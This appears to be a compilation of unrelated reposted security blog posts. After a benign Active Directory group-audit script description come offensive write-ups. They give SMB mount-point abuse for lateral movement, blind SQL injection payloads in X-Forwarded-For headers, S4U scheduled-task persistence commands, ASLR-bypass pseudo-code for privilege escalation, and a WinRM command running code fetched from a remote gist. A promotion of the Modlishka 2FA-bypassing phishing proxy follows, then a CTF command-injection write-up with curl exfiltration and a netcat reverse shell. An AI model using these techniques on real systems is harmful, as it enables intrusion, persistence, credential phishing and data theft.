Script to Create an Overview and Full Report of all Group Objects in a Domain

Original text by JEREMY SAUNDERS

This PowerShell script is one of the most comprehensive you will find that provides a thorough overview and full report of all group objects in a domain. It is the culmination of many Active Directory audit and reviews and therefore contains valuable input from many customers.

A lot of thought has been put into the logic within this script to help an organisation understand:

  • A breakdown of each group type (category and scope) that have been created
  • Groups with no members
  • Groups that are flagged as critical system objects
  • Groups that are protected objects (AdminSDHolder) where their adminCount attribute is set to 1
  • Groups that are conflicting/duplicate objects (name contains CNF: and/or sAMAccountName contains $Duplicate)
  • Groups that are mail-enabled
  • Distribution groups that are mail-disabled
  • Groups that are Unix-enabled
  • Groups that have expired
  • Groups with SID history
  • Groups with no Manager (managedBy)
  • The non-“Microsoft” default groups that have been left in the default Users container


  • Mail-enabled groups are derived from the proxyAddresses, legacyExchangeDN, mailNickName, and reportToOriginator attributes, where reportToOriginator must be set to TRUE. This is not well documented.
  • Unix-enabled groups are derived from the gidNumber, msSFU30Name, and msSFU30NisDomain attributes.

Open the full CSV report in Excel and add a column filter and freeze the top row. This will help you to filter the data and move through the spreadsheet with ease.

Review the value of groups that contain no members, are not critical system objects, protected objects (AdminSDHolder), and not excluded objects. Delete them if they are no longer serving their purpose. Alternatively, move them into an OU and add the OU to the $ExclusionOUs array in the script to ensure they are correctly flagged in the next run.

Disabling groups:

  • Security groups can be disabled by converting them to a distribution group.
  • Distribution groups can be disabled by mail-disabling them.

You should always clearly document situations where groups have been disabled. i.e. Are they being kept for a reason, or should they be deleted. Delete them if they no longer serve a purpose.

Review the groups that have been marked as protected objects (AdminSDHolder) that may now fall out of scope. If these groups are not going to be deleted, they should be restored to their original state by reactivating the inheritance rights on the object itself and clearing the adminCount attribute. I recommend using a script written by Tony Murray to clean up the AdminSDHolder: Cleaning up AdminSDHolder orphans

Further information about the AdminSDHolder can be found here:

Groups whose name contains CNF: and/or sAMAccountName contains $Duplicate means that it’s a duplicate account caused by conflicting/duplicate objects. This typically occurs when objects are created on different Read Write Domain Controllers at nearly the same time. After replication kicks in and those conflicting/duplicate objects replicate to other Read Write Domain Controllers, Active Directory replication applies a conflict resolution mechanism to ensure every object is and remains unique. You can’t just delete the conflicting/duplicate objects, as these may often be in use. You need to merge the group membership and ensure the valid group is correctly applied to the resource. Then you can confidently delete the conflicting/duplicate group.

You should never delete groups marked as Critical System Objects.

There should be no groups with an unrecognised group type. But if there are any, they must be investigated and remediated immediately as they could be the result of more serious issues.

Some groups may simply be placeholders for certain tasks, scripts and policies, and therefore may purposely not contain any members. Simply move these groups into an OU and add the OU to the $ExclusionOUs array to flag and exclude them from the final no members count.

In general add groups and OUs to the ‘Exclusion’ arrays to flag and exclude groups with no members from the final no members count.

From here you can start to implement some good policies and processes around the usage and management of the groups.

At the end of the day a nice way to manage groups is to set their expirationTime attribute. This will give us the ability to implement a nice life cycle management process. You can go one step further and add a user or mail-enabled security group to the managedBy attribute. This will give us the ability to implement some workflow when the group is x days before expiring.

The following screen shot is from a recent health check and audit I completed. This customer has about 137,000 group objects in their domain. The script took about 2 and a half hours to complete. PowerShell consumed almost 8 GB of RAM. The full CSV report was about 55.5 MB.

What sticks out here like a sore thumb is the fact that over 23% of the groups have no members!

Group Object Overview

The following screen shot is the full report from the same health check. Whilst I’ve had to blur our some of the data you can get an idea from the column headings that it’s fairly extensive. There are a further 6 columns that I was unable to capture in the screen shot due to screen resolution.

Group Object Full Report

IMPORTANT: As of version 1.8 this script now works in non Microsoft Exchange environments.

Here is the Get-GroupReport.ps1 (1578 downloads)  script



Abusing Mount Points over the SMB Protocol

Original text by Tyranid’s Lair

This blog post is a quick writeup on an interesting feature of SMBv2 which might have uses for lateral movement and red-teamers. When I last spent significant time looking at symbolic link attacks on Windows I took a close look at the SMB server. Since version 2 the SMB protocol has support for symbolic links, specifically the NTFS Reparse Point format. If the SMB server encounters an NTFS symbolic link within a share it’ll extract the REPARSE_DATA_BUFFER and return it to the client based on the SMBv2 protocol specification§

Screenshot of symbolic link error response from SMB specifications.

The client OS is responsible for parsing the REPARSE_DATA_BUFFER and following it locally. This means that only files the client can already access can be referenced by symbolic links. In fact even resolving symbolic links locally isn’t enabled by default, although I did find a bypass which allowed a malicious server to bypass the client policy and allowing resolving symbolic links locally. Microsoft declined to fix the bypass at the time, it’s issue 138 if you’re interested.

What I found interesting is while IO_REPARSE_TAG_SYMLINK is handled specially on the client, if the server encounters the IO_REPARSE_TAG_MOUNT_POINT reparse point it would follow it on the server. Therefore, if you could introduce a mount point within a share you could access any fixed disk on the server, even if it’s not shared directly. That could have many uses for lateral movement, but the question becomes how could we add a mount point without already having local access to the disk?

First thing to try is to just create a mount point via a UNC path and see what happens. Using the MKLINKCMD built-in you get the following:

Using mklink on \\localhost\c$\abc returns the error "Local NTFS volumes are required to complete the operation."

The error would indicate that setting mount points on remote servers isn’t supported. This would make some sense, setting a mount point on a remote drive would result in unexpected consequences. You’d assume the protocol either doesn’t support setting reparse points at all, or at least restricts them to only allowing symbolic links. We can get a rough idea what the protocol expects by looking up the details in the protocol specification. Setting a reparse point requires sending the FSCTL_SET_REPARSE_POINT IO control code to a file, therefore we can look up the section on the SMB2 IOCTL command to see if any there’s any information about the control code.

After a bit of digging you’ll find that FSCTL_SET_REPARSE_POINT is indeed supported and there’s a note in § which I’ve reproduced below.

«When the server receives a request that contains an SMB2 header with a Command value equal to SMB2 IOCTL and a CtlCode of FSCTL_SET_REPARSE_POINT, message handling proceeds as follows:If the ReparseTag field in FSCTL_SET_REPARSE_POINT, as specified in [MS-FSCC] section 2.3.65, is not IO_REPARSE_TAG_SYMLINK, the server SHOULD verify that the caller has the required permissions to execute this FSCTL.<330> If the caller does not have the required permissions, the server MUST fail the call with an error code of STATUS_ACCESS_DENIED.»The text in the specification seems to imply the server only needs to check explicitly for IO_REPARSE_TAG_SYMLINK, and if the tag is something different it should do some sort of check to see if it’s allowed, but it doesn’t say anything about setting a different tag to be explicitly banned. Perhaps it’s just the MKLINK built-in which doesn’t handle this scenario? Let’s try the CreateMountPoint tool from my symboliclink-testing-tools project and see if that helps.

Using CreateMountPoint on \\localhost\c$\abc gives access denied.

CreateMountPoint doesn’t show an error about only supporting local NTFS volumes, but it does return an access denied error. This ties in with the description §, if the implied check fails the code should return access denied. Of course the protocol specification doesn’t actually say what check should be performed, I guess it’s time to break out the disassembler and look at the implementation in the SMBv2 driver, srv2.sys.

I used IDA to look for immediate values for IO_REPARSE_TAG_SYMLINK which is 0xA000000C. It seems likely that any check would first look for that value along with any other checking for the other tags. In the driver from Windows 10 1809 there was only one hit in Smb2ValidateIoctl. The code is roughly as follows:

NTSTATUS Smb2ValidateIoctl(SmbIoctlRequest* request){ // … switch(request>IoControlCode){case FSCTL_SET_REPARSE_POINT: REPARSE_DATA_BUFFER* reparse =(REPARSE_DATA_BUFFER*)request>Buffer;
// Validate length etc. if(reparse>ReparseTag != IO_REPARSE_TAG_SYMLINK &&

The code extracts the data from the IOCTL request, it fails with STATUS_ACCESS_DENIED if the tag is not IO_REPARSE_TAG_SYMLINK and some byte value is 0 which is referenced from the request data. Tracking down who sets this value can be tricky sometimes, however I usually have good results by just searching for the variables offset as an immediate value in IDA, in this case 0x200 and just go through the results looking for likely MOV instructions. I found an instruction «MOV [RCX+0x200], AL» inside Smb2ExecuteSessionSetupReal which looked to be the one. The variable is being set with the result of the call to Smb2IsAdmin which just checks if the caller has the BUILTIN\Administrators group in their token. It seems that we can set arbitrary reparse points on a remote share, as long as we’re an administrator on the machine. We should still test that’s really the case:

Using CreateMountPoint on \\localhost\c$\abc is successful and listing the directory showing the windows folder.

Testing from an administrator account allows us to create the mount point, and when listing the directory from a UNC path the Windows folder is shown. While I’ve demonstrated this on local admin shares this will work on any share and the mount point is followed on the remote server.

Is this trick useful? Requiring administrator access does mean it’s not something you could abuse for local privilege escalation and if you have administrator access remotely there’s almost certainly nastier things you could do. Still it could be useful if the target machine has the admin shares disabled, or there’s monitoring in place which would detect the use of ADMIN$ or C$ in lateral movement as if there’s any other writable share you could add a new directory which would give full control over any other fixed drive.

I can’t find anyone documenting this before, but I could have missed it as the search results are heavily biased towards SAMBA configurations when you search for SMB and mount points (for obvious reasons). This trick is another example of ensuring you test any assumptions about the security behavior of a system as it’s probably not documented what the actual behavior is. Even though a tool such as MKLINK claims a lack of a support for setting remote mount points by digging into available specification and looking at the code itself you can find some interesting stuff.

X Forwarded for SQL injection

Original text by Nikos Danopoulos

Ghost Labs performs hundreds of success tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies.

Last year, on May, I was assigned a Web Application test of a regular customer. As the test was blackbox one of the few entry points — if not the only — was a login page. The tight scoping range and the staticity of the Application did not provide many options.

After spending some time on the enumeration phase by trying to find hidden files/directories, leaked credentials online, common credentials, looking for vulnerable application components and more I was driven to a dead end.

No useful information were received, the enumeration phase had finished and no process had been made. Moreover, every fuzzing attempt on the login parameters didn’t not trigger any interesting responses.

Identifying the entry point

A very useful Burp Suite Extension is Bypass WAF. To find out how this extension works, have a quick look here. Briefly, this extension is used to bypass a Web Application firewall by inserting specific headers on our HTTP Requests. X-Forwarded-For is one of the them. What this header is also known for though is for the frequent use by the developers to store the IP Data of the client.

The following backend SQL statement is a vulnerable example of this:

mysql_query(«SELECT username, password FROM users-data WHEREusername='».sanitize($_POST[‘username’]).»‘ ANDpassword='».md5($_POST[‘password’]).»‘ AND ip_adr='».ipadr().»‘»);

More info here: SQL Injection through HTTP Headers

Where ipadr() is a function that reads the $_SERVER[‘HTTP_X_FORWARDED_FOR’] value (X-Forwarded-For header) and by applying some regular expression decides whether to store the value or not.

For the web application I was testing, it turned out to have a similar vulnerability. The provided X-Forwarded-For header was not properly validated, it was parsed as a SQL statement and there was the entry point.

Moreover, it was not mandatory to send a POST request to the login page and inject the payload through the header. The header was read and evaluated on the index page, by just requesting the “/” directory.

Due to the application’s structure, I was not able to trigger any visible responses from the payloads. That made the Injection a Blind, Time Based one. Out of several and more complex payloads — mainly for debugging purposes — the final, initial, payload was:

sql injection picture

And it was triggered by a similar request:

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
X-Forwarded-For: «XOR(if(now()=sysdate(),sleep(6),0))OR”
X-Requested-With: XMLHttpRequest
Connection: close
Accept-Encoding: gzip,deflate
Accept: /

The response was delayed, the sleep value was incremented to validate the finding and indeed, the injection point was ready.

As sqlmap couldn’t properly insert the injection point inside the XOR payload, an initial manual enumeration was done. The next information extracted was the Database Length. That would allow me to later identify the Database Name too. Here is the payload used:

​​SQL injection picture

Of course, Burp Intruder was used to gradually increment the database length value. It turned out that the Database Length is 30. To find the Database Name Burp Intruder was used again with the following payload:

​​SQL injection picture

To automate this in an attack the following payload was used:


During the attack I noticed that the first 3 characters are the same with the first character of the domain name I am testing. The domain were 20 character long. I paused the intruder attack, went back to repeater and verified like this:


Indeed, the server delayed to respond indicating that the 15 first characters of the Database Name are the same as the domain name. The database name was 30 characters long. I had to continue the attack but this time with a different payload, starting the attack from character 21, in order to find the full database name. After a few minutes, the full database name was extracted. Format: “<domain-name>_<subdomain-name>_493 ” With the database name I then attempted to enumerate table names.

Similarly, a char-by-char bruteforce attacks is required to find the valid names.

To do this I loaded the information_schema.tables table that provides information about all the databases’ tables.  I filtered only the current’s database related tables by using the WHERE clause:

«XOR(if(Ascii(substring((​ Select​ table_name ​frominformation_schema.tables ​where​ table_schema=​database​() limit 0​,1),​1,1))=​’100’​, sleep​(5​),​0))​OR​»*/
​​SQL injection picture

As the previous payload was the initial one, I simplified it to this:

«XOR(if((substring((​ Select​ table_name ​ from​ information_schema.tables
where​ table_schema=​database​() ​limit​ ​0,1),​1,1))=​’a’​, sleep​(3),​0))​ OR​ «*/

Again, the payload was parsed to Burp Intruder to automate the process. After a few minutes the first tables were discovered:

​​SQL injection picture
​​SQL injection picture

After enumerating about 20 Tables Names I decided to try again my luck with SQLmap. As several tables where discovered, one of them was used to help sqlmap understand the injection point and continue the attack. Payload used in sqlmap:

XOR(select 1 from cache where 1=1 and 1=1*)OR

By that time I managed to properly set the injection point and I forced sqlmap to just extract the column names and data from the interesting tables.

​​SQL injection picture
​​SQL injection picture

Notes and Conclusion

At the end of the injection the whole database along with the valuable column information was received. The customer was notified immediately and the attack was reproduced as a proof of concept. 

Sometimes manual exploitation — especially blind, time based attacks — may seem tedious. As shown, it is also sometimes difficult to automate a detected injection attack. The best thing that can be done on such cases is to manually attack until all the missing information for the automation of the attack are collected.

Running Code From A Non-Elevated Account At Any Time

Original text

You may have found yourself in a situation where you have access to a system through a limited user account, or could not or did not want to bypass UAC (AlwaysOn setting for example) and you needed to continue running code even when the account logged off and/or the system rebooted (and even if you don’t have the account’s password). For example, as a pentester you may need to set up persistent access after everyone has logged off for the day or as a software developer you may want to run background tasks for maintenance and update. However, most of the backdoors that I have seen that don’t require admin permissions typically use a registry value or a startup folder entry, or another method that will only run code once the current user logs in and will die once the user logs off. Every «legitimate» piece of software that runs code outside of a logon that I have looked into, such as software updaters, requires administrative permissions to install a service or scheduled task that runs as SYSTEM.

I don’t know whether this is due to ignorance on the part of the authors, or if so few systems run for any significant period of time without the main user being logged in that the authors don’t care, or maybe most limited user accounts don’t have the requisite permissions or administrative permissions are just too easy to get. But there are many UAC-protected or shared systems in many homes and businesses and a huge number of backdoors that are now written to run under limited user accounts.

So how do you do it? First, create a scheduled task to run your command with default options as the current user (this will by default create a scheduled task that only runs when you are logged in):

schtasks /create /tn mytask /SC HOURLY /TR "calc"

Then export the task as XML:

schtasks /query /XML /tn mytask > temp.xml

and delete the task:

schtasks /delete /tn mytask /f

Then open the xml file, and replace the line

This can be done with the following commands assuming powershell is on the system:
powershell -Command "Get-Content '.\temp.xml' | foreach {$_ -replace 'InteractiveToken', 'S4U' }" > new.xml
move /y new.xml temp.xml

Now recreate the task from the modified XML file:

schtasks /create /xml temp.xml /tn mytasks

and remove your temp file:

del /f /q temp.xml

Your task will now run in the background every hour regardless of whether you are logged on. Since it will not run interactively, it will not have the cached credentials that an interactive logon will have, so you may not be able to access all of the network resources you were able to before, but you will be running!

What this does is use the Service-for-User or S4U logon type (See and for an in-depth discussion of S4U from the perspective of Kerberos). The system must be at least Windows Vista to schedule these types of tasks, and the «Logon as batch job policy» must be set for the user. On a Windows 7 Home Premium test system, this was the case for a non-UAC elevated admin, but not for a limited user by default. Of course every Windows domain could be different, so check first before you rely on it.

And enjoy running your scheduled scripts whenever you want, even if you cannot or do not want to elevate to administrative permissions. Also, if you make software that requires administrative permissions to install, please make it work as a limited user; there really are not many excuses left.

VirtualProtectEx to bypass ASLR : A specific case study

Original text by Souhail Hammou 

VirtualProtectEx to bypass ASLR : A specific case study

More than a year ago, I developed a local privilege escalation exploit for a product (that I cannot disclose unfortunately) in which I had to bypass ASLR.

For the record, these are the protections enabled in the targeted service’s binary, it is a 32-bit executable running under Wow64 on 64-bit systems.

Basically, I was able to communicate through IPC with the system service and tell it to execute a function in its address space by pointer (it’s a bit more tricky than this but you get the point). Actually, this would have been impossible if CFG was enabled.

Within the main module, I have located a function that invokes «system()» with an argument that I control. At this point, it was just a matter of bypassing ASLR in order to get that function’s address and elevate privileges on the machine. However, I couldn’t trigger any leaks through the IPC channel to get or deduce the main module’s base.

But as luck would have it, the service exposed some other functionality through IPC and one of them was the ability to call VirtualProtectEx and letting us supply a PID, the address, the size, and the new protection. The service was also kind enough to return the old protection of the region to our process via IPC.

Bypassing ASLR should be obvious by now knowing these two crucial points :

  • The function that we want to invoke resides in the main module.
  • On Windows the main executable’s module of a process is the first module, with the lowest address in the user address space.

It is now only a matter of writing code to communicate with the service and to brute-force the location of the main module; we do that by looking for the first executable page in the address space and then calculating the main module’s base : generally by subtracting 0x1000 from that page since the .text section is the first section.

The pseudo-code below shows an example of how this was done :

pid = /*Locate the service’s pid with the help of NtQuerySystemInformation*/;
for( Page = 0x1000; Page < 0x7fffffff; Page += 0x1000 )
Page_cp = Page;
OldProtection = CommunicateServiceVirtualProtect(
pid, //We give the service its own pid
Page, //Address of the page in the service’s process
PAGE_EXECUTE_READWRITE, //Change to the most permissible protection to avoid crashes
if ( OldProtection == -1 ) //Invalid page
if ( OldProtection == PAGE_EXECUTE_READ )
//this is the main module’s .text section
Base = Page — 0x1000;
Page = 0x7fffefff; //to break after restoring the old protection
//restore the old protection
//Use the base to calculate the function address
pFunc = Base + FuncOffset;

view rawVp_ASLR_bf.c hosted with ❤ by GitHub

Launching a new process with SYSTEM privileges was easy at this point.

Thank you for reading and until another time 🙂

You can follow me on Twitter : here

Round of use Winrm code execution XML

Original text by Matt harr0ey

This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them,

Winrm.vbs ==> Windows Remote Management

Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers 
further information,

Usage XML/Winrm.vbs 
First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use

So what’s the relationship between normal XML and Winrm XML 
I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code
MS-Windows Remote management

Small notes guys
It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs

Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version,

These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely

This text shows remote execute and next picture shows local execute

cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten

Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) 
Lateral Movement Using WinRM and WMI

Modlishka — An Open Source Phishing Tool With 2FA Authentication

Original text by Lydecher black

Modlishka — An Open Source Phishing Tool With 2FA Authentication

Modlishka is a flexible and powerful reverse proxy, that will take your phishing campaigns to the next level (with minimal effort required from your side).
Enjoy 🙂

Some of the most important ‘Modlishka’ features :

  • Support for majority of 2FA authentication schemes (by design).
  • No website templates (just point Modlishka to the target domain — in most cases, it will be handled automatically).
  • Full control of «cross» origin TLS traffic flow from your victims browsers.
  • Flexible and easily configurable phishing scenarios through configuration options.
  • Pattern based JavaScript payload injection.
  • Striping website from all encryption and security headers (back to 90’s MITM style).
  • User credential harvesting (with context based on URL parameter passed identifiers).
  • Can be extended with your ideas through plugins.
  • Stateless design. Can be scaled up easily for an arbitrary number of users — ex. through a DNS load balancer.
  • Web panel with a summary of collected credentials and user session impersonation (beta).
  • Written in Go.

«A picture is worth a thousand words»:
Modlishka in action against an example 2FA (SMS) enabled authentication scheme:

Note: was chosen here just as a POC.

Latest source code version can be fetched from here (zip) or here (tar).
Fetch the code with ‘go get’ :

$ go get -u

Compile the binary and you are ready to go:

$ cd $GOPATH/src/
$ make
# ./dist/proxy -h

Usage of ./dist/proxy:
  -cert string
     base64 encoded TLS certificate
  -certKey string
     base64 encoded TLS certificate key
  -certPool string
     base64 encoded Certification Authority certificate
  -config string
     JSON configuration file. Convenient instead of using command line switches.
  -credParams string
       Credential regexp collector with matching groups. Example: base64(username_regex),base64(password_regex)

     Print debug information
     Disable security features like anti-SSRF. Disable at your own risk.
  -jsRules string
     Comma separated list of URL patterns and JS base64 encoded payloads that will be injected. 
  -listeningAddress string
     Listening address (default "")
  -listeningPort string
     Listening port (default "443")
  -log string
     Local file to which fetched requests will be written (appended)
  -phishing string
     Phishing domain to create - Ex.:
  -plugins string
     Comma seperated list of enabled plugin names (default "all")
     Log only HTTP POST requests
  -rules string
     Comma separated list of 'string' patterns and their replacements. 
  -target string
     Main target to proxy - Ex.:
  -targetRes string
     Comma separated list of target subdomains that need to pass through the  proxy 
  -terminateTriggers string
     Comma separated list of URLs from target's origin which will trigger session termination
  -terminateUrl string
     URL to redirect the client after session termination triggers
     Enable TLS (default false)
  -trackingCookie string
     Name of the HTTP cookie used to track the victim (default "id")
  -trackingParam string
     Name of the HTTP parameter used to track the victim (default "id")


  • Check out the wiki page for a more detailed overview of the tool usage.
  • FAQ (Frequently Asked Questions)
  • Blog post

Thanks for helping with the code go to Giuseppe Trotta (@Giutro)

Insomni’Hack Teaser 2019 — exploit-space

Original text by @Ghostx_0


Solves: 7 / Points: 500 / Category: Web

Challenge description

We have created a little exploit space and made it accessible for everyone! Have fun! You can get your own exploit space here.

Challenge resolution

This challenge was the most realistic yet fun web challenge of this Insomni’Hack teaser, as it presented nothing less than an installation of the ResourceSpace open source digital asset management software.

The first step, like for any challenge, was the reconnaissance phase.

As indicated in the commented HTML code, the installed version of the ResourceSpace was the version 8.6.12117:

ResourceSpace Version

This software being open source, we can audit its source code in order to find vulnerabilities we can exploit.

We can then look at the Git commits logs to find juicy commit messages like this one:

Commit logs

Looking at the diff view for this commit, reveals the vulnerable entry point in the “/plugins/pdf_split/pages/pdf_split.php” page being passed to the run_command() function:

Gif diff

The fix introduced by this commit just sanitizes the user inputs by applying the escapeshellarg() function:

escapeshellarg function

Using the semi-colon character thus completes the comnand line, allowing us to execute arbitrary commands on the web server. However, as we don’t have a direct visible output, we need to use an HTTP server such as the Burp collaborator listening for incomming requests.

The following POST request uses the curl binary in order to send the result of the whoami command to our web server:

POST request whoami

Immediately after, we see the result of our command in our Burp collaborator interactions panel:


The final step is to locate and get the flag:

POST request getflag

Wait… What? There’s a captcha that prevents non-interactive access:


We actually need to obtain an interactive reverse shell on this server.

To do so we can download the netcat binary from our web server using curl, add execution permission and run it:

reverse shell 1

As expected, the web server just connects back to our server, therefore providing us with an interactive reverse shell:

reverse shell 2

And finally we can solve the captcha and get the flag: